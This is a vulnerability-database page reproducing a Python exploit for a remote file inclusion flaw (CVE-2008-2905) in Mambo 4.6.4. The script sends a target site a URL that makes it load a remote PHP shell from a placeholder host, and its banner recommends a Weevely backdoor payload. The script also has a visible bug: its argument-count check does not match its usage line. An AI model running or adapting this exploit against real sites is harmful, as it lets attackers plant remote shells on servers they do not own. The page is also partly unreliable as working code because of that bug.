Lucene search
K

Mambo 4.6.4 Remote File Inclusion

🗓️ 01 Oct 2012 00:00:00Reported by infodoxType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 23 Views

Mambo 4.6.4 Remote File Inclusion, Python exploit for CVE-2008-290

Related
Code
`#!/usr/bin/env python  
# Title: Mambo 4.6.4 mosConfig_absolute_path RFI  
# CVE: CVE-2008-2905  
# Reference: http://heapoverflow.com/f0rums/advisories/6915-cve-2008-2905-mambo.html  
# Author: infodox  
# Site: http://insecurety.net/  
# Twitter: @info_dox  
# Old news, just practicin' my python :3  
import requests # You better easy_install requests :3  
import sys  
  
vulnurl = "/includes/Cache/Lite/Output.php?" # Oh look, the vuln URL!  
param = "mosConfig_absolute_path=" # the vuln paramater.   
payloadurl = "http://example.com/shell.php" # Your evil PHP code goes here right?  
  
def banner():  
print """  
Mambo 4.6.4 mosConfig_absolute_path RFI  
Rather lame exploit I must admit, just practicing my Python.  
To use, just run it against the host and pray. I advise using a Weevely payload.  
~infodox  
"""   
  
if len(sys.argv) != 4:  
banner()  
print "Usage: ./x2.py <target>"  
print "Where <target> is the vulnerable website."  
print "Example: ./x2.py http://lamesite.com"  
sys.exit(1)  
  
banner()  
target = sys.argv[1]  
pwnme = target + vulnurl + param + payloadurl   
print "[+] Running Exploit..."   
requests.get(pwnme) # See? Requests is AWESOME!  
print "[?] Gotshell?"  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Oct 2012 00:00Current
EPSS0.72166
23